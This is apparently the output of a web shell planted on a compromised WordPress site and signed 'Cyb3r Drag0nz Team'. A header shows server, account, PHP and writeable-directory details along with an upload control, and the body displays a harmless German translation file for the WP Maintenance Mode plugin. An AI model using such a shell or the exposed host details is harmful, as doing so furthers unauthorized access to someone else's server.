Server :
Apache
System :
Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User :
atwiofrxug (73666)
PHP Version :
8.4.10
Disable Functions :
_dyuweyrj4,_dyuweyrj4r,dl
Current Directory :
/home/atwiofrxug/mylittletelaviv/wp-content/languages/plugins/
Directory Status:
Writeable | Document Root:
Writeable
Upload File
Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/languages/plugins/wp-maintenance-mode-de_DE.po
# Translation of Stable (latest release) in German
# This file is distributed under the same license as the Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2016-07-07 06:18:41+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/2.1.0-alpha\n"
"Project-Id-Version: Stable (latest release)\n"
#: includes/classes/wp-maintenance-mode-admin.php:531
msgid "If you like <strong>WP Maintenance Mode</strong> please leave us a %s rating. A huge thank you from WP Maintenance Mode makers in advance!"
msgstr "Wenn dir <strong>WP Maintenance Mode</strong> gefällt, schreibe doch eine %s Bewertung. Ein großes Dankeschön im Voraus von den Machern von WP Maintenance Mode!"
#: includes/classes/wp-maintenance-mode-admin.php:123
#: includes/classes/wp-maintenance-mode-admin.php:161
#: includes/classes/wp-maintenance-mode-admin.php:183
msgid "You do not have access to this resource."
msgstr "Du hast keinen Zugriff auf diese Ressource."
#: includes/classes/wp-maintenance-mode-admin.php:188
msgid "The tab slug must not be empty."
msgstr "Der Tab „slug“ darf nicht leer sein."
#: includes/classes/wp-maintenance-mode-admin.php:193
msgid "The tab slug must exist."
msgstr "Der Tab „Slug“ muss existieren."
#: includes/classes/wp-maintenance-mode-admin.php:483
msgid "Notice key cannot be empty."
msgstr "Notice-Schlüssel kann nicht leer sein."
#: views/contact.php:34
msgid "You have been contacted via %s."
msgstr "Du hast eine Nachricht über %s erhalten."
#: views/contact.php:50
msgid "Name:"
msgstr "Name:"
#: views/contact.php:62
msgid "Email:"
msgstr "E-Mail:"
#: views/contact.php:74
msgid "Content:"
msgstr "Inhalt:"
#: views/maintenance.php:84 views/maintenance.php:85 views/maintenance.php:87
msgid "This field is required."
msgstr "Dies ist ein Pflichtfeld."
#: views/settings.php:43 views/settings.php:59
msgid "Select role(s)"
msgstr "Rolle(n) auswählen"
#: views/settings.php:53
msgid "Which user role is allowed to access the backend of this blog? Administrators will always have access."
msgstr "Mit welcher Benutzerrolle soll man Zugriff auf das Backend erhalten? Administratoren haben immer Zugriff. "
#: views/settings.php:69
msgid "Which user role is allowed to access the frontend of this blog? Administrators will always have access."
msgstr "Mit welcher Benutzerrolle soll man Zugriff auf das Frontend erhalten? Administratoren haben immer Zugriff."
#: views/settings.php:86
msgid "If you want to redirect a user (with no access to Dashboard/Backend) to a URL (different from WordPress Dashboard URL) after login, then define a URL (incl. http://)"
msgstr "Wenn du einen Nutzer (ohne Zugriff auf das Dashboard/Backend) nach dem Login auf eine andere als die WordPress-Dashboard-URL umleiten möchtest, dann trage diese URL ein (inklusive http://)"
#: views/settings.php:301
msgid "Empty subscribers list"
msgstr "Leere Abonnenten-Liste"
#: views/sidebar.php:27
msgid "Other products"
msgstr "Weitere Produkte"
#. #-#-#-#-# tmp-wp-maintenance-mode.pot (WP Maintenance Mode 2.0.6)
#. #-#-#-#-#
#. Plugin URI of the plugin/theme
#. #-#-#-#-# tmp-wp-maintenance-mode.pot (WP Maintenance Mode 2.0.6)
#. #-#-#-#-#
#. Author URI of the plugin/theme
msgid "http://designmodo.com/"
msgstr "http://designmodo.com/"
#. Description of the plugin/theme
msgid "Adds a splash page to your site that lets visitors know your site is down for maintenance. It's perfect for a coming soon page."
msgstr "Schaltet der Website eine Seite vor, die Besucher über laufende Wartungsarbeiten informiert. Perfekt für eine «Baustellen-Seite»."
#. Author of the plugin/theme
msgid "Designmodo"
msgstr "Designmodo"
#. #-#-#-#-# tmp-wp-maintenance-mode.pot (WP Maintenance Mode 2.0.6)
#. #-#-#-#-#
#. Plugin Name of the plugin/theme
#: includes/classes/wp-maintenance-mode-admin.php:213
msgid "WP Maintenance Mode"
msgstr "WP Maintenance Mode"
#: includes/classes/wp-maintenance-mode-admin.php:427
msgid "Settings"
msgstr "Einstellungen"
#: includes/classes/wp-maintenance-mode-admin.php:446
msgid "The Maintenance Mode is <strong>active</strong>. Please don't forget to <a href=\"%s\">deactivate</a> as soon as you are done."
msgstr "Der Wartungsmodus ist <strong>aktiv</strong>. Bitte vergiss nicht, ihn zu <a href=\"%s\">deaktivieren</a>, sobald du fertig bist."
#: includes/classes/wp-maintenance-mode.php:103
#: includes/classes/wp-maintenance-mode.php:104
msgid "Maintenance mode"
msgstr "Wartungsmodus"
#: includes/classes/wp-maintenance-mode.php:106
msgid "<p>Sorry for the inconvenience.<br />Our website is currently undergoing scheduled maintenance.<br />Thank you for your understanding.</p>"
msgstr "<p>Entschuldige die Unannehmlichkeiten.<br />Diese Website befindet sich aktuell im Wartungsmodus.<br />Vielen Dank für das Verständnis.</p> "
#: includes/classes/wp-maintenance-mode.php:124
msgid "Notify me when it's ready"
msgstr "Benachrichtige mich, wenn die Arbeiten abgeschlossen sind."
#: includes/classes/wp-maintenance-mode.php:259
msgid "WP Maintenance Mode plugin was relaunched and you MUST revise <a href=\"%s\">settings</a>."
msgstr "Das Plugin WP Maintenance Mode wurde aktualisiert und du MUSST die <a href=\"%s\">Einstellungen bearbeiten</a>."
#: includes/classes/wp-maintenance-mode.php:449
#: includes/classes/wp-maintenance-mode.php:463
msgid "Maintenance Mode"
msgstr "Wartungsmodus"
#: includes/classes/wp-maintenance-mode.php:687
#: includes/classes/wp-maintenance-mode.php:721 views/maintenance.php:85
msgid "Please enter a valid email address."
msgstr "Bitte gib eine gültige E-Mail-Adresse an."
#: includes/classes/wp-maintenance-mode.php:699
msgid "You successfully subscribed. Thanks!"
msgstr "Erfolgreich abonniert, danke!"
#: includes/classes/wp-maintenance-mode.php:717
msgid "All fields required."
msgstr "Alle Felder müssen ausgefüllt werden."
#: includes/classes/wp-maintenance-mode.php:726
msgid "Message via contact"
msgstr "Nachricht via Kontakt"
#: includes/classes/wp-maintenance-mode.php:738
msgid "Your email was sent to the website administrator. Thanks!"
msgstr "Deine E-Mail wurde an den Administrator der Website gesendet. Vielen Dank!"
#: views/loginform.php:8
msgid "Login"
msgstr "Anmelden"
#: views/maintenance.php:42
msgid "your e-mail..."
msgstr "Deine E-Mail-Adresse …"
#: views/maintenance.php:43 views/settings.php:270
msgid "Subscribe"
msgstr "Abonniere"
#: views/maintenance.php:84 views/sidebar.php:7
msgid "Name"
msgstr "Name"
#: views/maintenance.php:85
msgid "E-mail"
msgstr "E-Mail"
#: views/maintenance.php:87
msgid "Your message"
msgstr "Deine Mitteilung"
#: views/maintenance.php:88
msgid "Send"
msgstr "Senden"
#: views/maintenance.php:93
msgid "Contact us"
msgstr "Kontaktiere uns"
#: views/maintenance.php:98
msgid "Dashboard"
msgstr "Dashboard"
#: views/settings.php:6
msgid "Settings saved."
msgstr "Einstellungen gespeichert."
#: views/settings.php:13
msgid "General"
msgstr "Allgemein"
#: views/settings.php:14
msgid "Design"
msgstr "Design"
#: views/settings.php:15
msgid "Modules"
msgstr "Module"
#: views/settings.php:24
msgid "Status"
msgstr "Status"
#: views/settings.php:26
msgid "Activated"
msgstr "Aktiv"
#: views/settings.php:27
msgid "Deactivated"
msgstr "Inaktiv"
#: views/settings.php:31
msgid "Bypass for Search Bots"
msgstr "Bypass für Such-Bots"
#: views/settings.php:34 views/settings.php:104 views/settings.php:114
#: views/settings.php:242 views/settings.php:278 views/settings.php:316
#: views/settings.php:384 views/settings.php:416
msgid "Yes"
msgstr "Ja"
#: views/settings.php:35 views/settings.php:105 views/settings.php:115
#: views/settings.php:243 views/settings.php:279 views/settings.php:317
#: views/settings.php:385 views/settings.php:417
msgid "No"
msgstr "Nein"
#: views/settings.php:37
msgid "Allow Search Bots to bypass maintenance mode?"
msgstr "Such-Bots den Zugang via Bypass erlauben?"
#: views/settings.php:41
msgid "Backend Role"
msgstr "Backend-Rolle"
#: views/settings.php:57
msgid "Frontend Role"
msgstr "Frontend-Rolle"
#: views/settings.php:73
msgid "Robots Meta Tag"
msgstr "Robots-Meta-Tag"
#: views/settings.php:79
msgid "The robots meta tag lets you use a granular, page-specific approach to control how an individual page should be indexed and served to users in search results."
msgstr "Mit dem Robots-Meta-Tag kannst du steuern, wie die Seite während des Wartungsmodus indiziert werden soll."
#: views/settings.php:83
msgid "Redirection"
msgstr "Weiterleitung"
#: views/settings.php:90
msgid "Exclude"
msgstr "Ausschließen"
#: views/settings.php:97
msgid "Exclude feed, pages, archives or IPs from maintenance mode. Add one slug / IP per line!"
msgstr "Feed, einzelne Seiten, Archive oder IPs können vom Wartungsmodus ausgenommen werden. Ergänze einen Slug oder eine IP pro Zeile."
#: views/settings.php:101
msgid "Notice"
msgstr "Hinweis"
#: views/settings.php:107
msgid "Do you want to see notices when maintenance mode is activated?"
msgstr "Möchtest du einen Hinweis sehen, wenn der Wartungsmodus aktiv ist?"
#: views/settings.php:111
msgid "Dashboard link"
msgstr "Dashboard-Link"
#: views/settings.php:117
msgid "Do you want to add a link to the dashboard on your maintenance mode page?"
msgstr "Möchtest du deiner Wartungsmodus-Seite einen Link zum Dashboard hinzufügen?"
#: views/settings.php:125 views/settings.php:228 views/settings.php:432
msgid "Save settings"
msgstr "Einstellungen speichern"
#: views/settings.php:126 views/settings.php:229 views/settings.php:433
msgid "Reset settings"
msgstr "Einstellungen zurücksetzen"
#: views/settings.php:131
msgid "Content"
msgstr "Inhalt"
#: views/settings.php:136
msgid "Title (HTML tag)"
msgstr "Titel (HTML-Tag)"
#: views/settings.php:142
msgid "Heading"
msgstr "Überschrift"
#: views/settings.php:149 views/settings.php:284
msgid "Text"
msgstr "Text"
#: views/settings.php:169
msgid "Background"
msgstr "Hintergrund"
#: views/settings.php:174
msgid "Choose type"
msgstr "Typ wählen"
#: views/settings.php:177
msgid "Custom color"
msgstr "Benutzerdefinierte Farbe"
#: views/settings.php:178
msgid "Uploaded background"
msgstr "Hochgeladene Hintergründe"
#: views/settings.php:179
msgid "Predefined background"
msgstr "Vordefinierte Hintergründe"
#: views/settings.php:184
msgid "Choose color"
msgstr "Farbe wählen"
#: views/settings.php:190
msgid "Upload background"
msgstr "Hintergrund hochladen"
#: views/settings.php:194
msgid "Backgrounds should have 1920x1280 px size."
msgstr "Hintergründe sollten eine Größe von 1920×1280 px haben."
#: views/settings.php:199
msgid "Choose background"
msgstr "Hintergrund wählen"
#: views/settings.php:201
msgid "source <a href=\"%s\" target=\"_blank\">Free Photos</a>"
msgstr "Quelle: <a href=\"%\" target=\"_blank\">Free Photos</a>"
#: views/settings.php:234
msgid "Countdown"
msgstr "Countdown"
#: views/settings.php:239
msgid "Show countdown?"
msgstr "Countdown anzeigen?"
#: views/settings.php:248
msgid "Start date"
msgstr "Start-Datum"
#: views/settings.php:254
msgid "Countdown (remaining time)"
msgstr "Countdown (Restzeit)"
#: views/settings.php:256
msgid "Days"
msgstr "Tage"
#: views/settings.php:257
msgid "Hours"
msgstr "Stunden"
#: views/settings.php:258
msgid "Minutes"
msgstr "Minuten"
#: views/settings.php:262
msgid "Color"
msgstr "Farbe"
#: views/settings.php:275
msgid "Show subscribe?"
msgstr "Feld für E-Mail-Benachrichtigung („Abo“) anzeigen?"
#: views/settings.php:291
msgid "Stats"
msgstr "Statistiken"
#: includes/classes/wp-maintenance-mode-admin.php:167 views/settings.php:295
msgid "You have %d subscriber(s)"
msgstr "Du hast %d Abonnenten"
#: views/settings.php:300
msgid "Export as CSV"
msgstr "Export als CSV"
#: views/settings.php:308
msgid "Social Networks"
msgstr "Soziale Netzwerke"
#: views/settings.php:313
msgid "Show social networks?"
msgstr "Soziale Netzwerke anzeigen?"
#: views/settings.php:322
msgid "Links target?"
msgstr "target-Attribut für Links?"
#: views/settings.php:325
msgid "New page"
msgstr "In einem neuen Tab"
#: views/settings.php:326
msgid "Same page"
msgstr "Im gleichen Tab"
#: views/settings.php:328
msgid "Choose how the links will open."
msgstr "Wähle aus, wie die Links sich öffnen."
#: views/settings.php:376
msgid "Contact"
msgstr "Kontakt"
#: views/settings.php:381
msgid "Show contact?"
msgstr "Kontaktdaten anzeigen?"
#: views/settings.php:390
msgid "Email address"
msgstr "E-Mail-Adresse"
#: views/settings.php:396
msgid "Effects"
msgstr "Effekte"
#: views/settings.php:399
msgid "Move top - Move bottom"
msgstr "Nach oben bewegen – Nach unten bewegen"
#: views/settings.php:400
msgid "Zoom - Zoomed"
msgstr "Zoom – Vergrößern"
#: views/settings.php:401
msgid "Fold - Unfold"
msgstr "Einklappen – Ausklappen"
#: views/settings.php:408
msgid "Google Analytics"
msgstr "Google Analytics"
#: views/settings.php:413
msgid "Use Google Analytics?"
msgstr "Google Analytics benutzen?"
#: views/settings.php:422
msgid "Tracking code"
msgstr "Tracking-Code"
#: views/sidebar.php:3
msgid "Plugin Info"
msgstr "Plugin-Info"
#: views/sidebar.php:13
msgid "Author"
msgstr "Autor"
#: views/sidebar.php:14
msgid "Website"
msgstr "Website"
#: views/sidebar.php:15
msgid "Twitter"
msgstr "Twitter"
#: views/sidebar.php:16
msgid "GitHub"
msgstr "GitHub"
#: views/sidebar.php:44
msgid "Resources"
msgstr "Ressourcen"
Cyb3r Drag0nz Team • Google Edition